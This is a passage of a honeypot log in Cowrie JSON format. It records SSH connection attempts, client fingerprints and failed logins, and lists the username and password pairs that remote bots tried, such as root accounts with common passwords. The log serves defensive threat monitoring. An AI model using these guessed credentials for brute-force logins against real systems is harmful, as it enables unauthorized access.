@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:55.675538Z","src_ip":"162.254.35.142","session":"5348af57a3c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"threearrowscap","password":"threearrows123","message":"login attempt [threearrowscap/threearrows123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:55.871629Z","src_ip":"162.254.35.142","session":"5348af57a3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:07:56.938464Z","src_ip":"162.254.35.142","session":"5348af57a3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175714492798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:10.413873Z","src_ip":"143.198.154.150","session":"1df51591ef5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":56122,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8dca08d7d60","protocol":"ssh","message":"New connection: 190.244.39.224:56122 (10.17.0.5:22) [session: a8dca08d7d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:10.916197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:10.921592Z","src_ip":"190.244.39.224","session":"a8dca08d7d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:11.089926Z","src_ip":"190.244.39.224","session":"a8dca08d7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890@","message":"login attempt [root/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:11.746458Z","src_ip":"190.244.39.224","session":"a8dca08d7d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:12.921038Z","src_ip":"190.244.39.224","session":"a8dca08d7d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":41190,"dst_ip":"159.203.135.109","dst_port":22,"session":"43de88ef5774","protocol":"ssh","message":"New connection: 38.93.206.2:41190 (159.203.135.109:22) [session: 43de88ef5774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:24.984173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:24.987430Z","src_ip":"38.93.206.2","session":"43de88ef5774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:25.037566Z","src_ip":"38.93.206.2","session":"43de88ef5774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magicman","message":"login attempt [root/magicman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:25.189881Z","src_ip":"38.93.206.2","session":"43de88ef5774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:26.242840Z","src_ip":"38.93.206.2","session":"43de88ef5774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37832,"dst_ip":"10.17.0.5","dst_port":22,"session":"751b99241eb3","protocol":"ssh","message":"New connection: 91.92.40.176:37832 (10.17.0.5:22) [session: 751b99241eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:29.539892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:29.543375Z","src_ip":"91.92.40.176","session":"751b99241eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:29.624329Z","src_ip":"91.92.40.176","session":"751b99241eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:29.879677Z","src_ip":"91.92.40.176","session":"751b99241eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:30.977296Z","src_ip":"91.92.40.176","session":"751b99241eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":52652,"dst_ip":"159.203.135.109","dst_port":22,"session":"e03c99353acb","protocol":"ssh","message":"New connection: 31.179.197.26:52652 (159.203.135.109:22) [session: e03c99353acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:51.321760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:51.330933Z","src_ip":"31.179.197.26","session":"e03c99353acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:51.439493Z","src_ip":"31.179.197.26","session":"e03c99353acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jr","password":"jr123","message":"login attempt [jr/jr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:51.877666Z","src_ip":"31.179.197.26","session":"e03c99353acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:52.992902Z","src_ip":"31.179.197.26","session":"e03c99353acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42722,"dst_ip":"159.203.135.109","dst_port":22,"session":"170febf8c02f","protocol":"ssh","message":"New connection: 103.82.132.16:42722 (159.203.135.109:22) [session: 170febf8c02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:57.901687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:57.905466Z","src_ip":"103.82.132.16","session":"170febf8c02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:58.154723Z","src_ip":"103.82.132.16","session":"170febf8c02f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24061993","message":"login attempt [root/24061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:08:58.905030Z","src_ip":"103.82.132.16","session":"170febf8c02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:00.172339Z","src_ip":"103.82.132.16","session":"170febf8c02f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33840,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bdd64626a65","protocol":"ssh","message":"New connection: 176.32.39.21:33840 (10.17.0.5:22) [session: 8bdd64626a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:15.066036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:15.069938Z","src_ip":"176.32.39.21","session":"8bdd64626a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:15.185198Z","src_ip":"176.32.39.21","session":"8bdd64626a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111179","message":"login attempt [root/111179] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:15.531337Z","src_ip":"176.32.39.21","session":"8bdd64626a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:16.649136Z","src_ip":"176.32.39.21","session":"8bdd64626a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":33076,"dst_ip":"10.17.0.5","dst_port":22,"session":"4318b2b1e949","protocol":"ssh","message":"New connection: 103.248.120.6:33076 (10.17.0.5:22) [session: 4318b2b1e949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:44.752729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:44.756688Z","src_ip":"103.248.120.6","session":"4318b2b1e949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:44.981639Z","src_ip":"103.248.120.6","session":"4318b2b1e949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:45.915761Z","src_ip":"103.248.120.6","session":"4318b2b1e949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:09:47.142069Z","src_ip":"103.248.120.6","session":"4318b2b1e949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":37550,"dst_ip":"159.203.135.109","dst_port":22,"session":"63abe1c1a01f","protocol":"ssh","message":"New connection: 31.179.197.26:37550 (159.203.135.109:22) [session: 63abe1c1a01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:10:23.110636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:10:23.115235Z","src_ip":"31.179.197.26","session":"63abe1c1a01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:10:23.219495Z","src_ip":"31.179.197.26","session":"63abe1c1a01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tjj","password":"tjj","message":"login attempt [tjj/tjj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:10:23.666333Z","src_ip":"31.179.197.26","session":"63abe1c1a01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:10:24.773281Z","src_ip":"31.179.197.26","session":"63abe1c1a01f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":38774,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2e1d4da802","protocol":"ssh","message":"New connection: 185.113.139.51:38774 (159.203.135.109:22) [session: 6c2e1d4da802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:11:08.528732Z"}
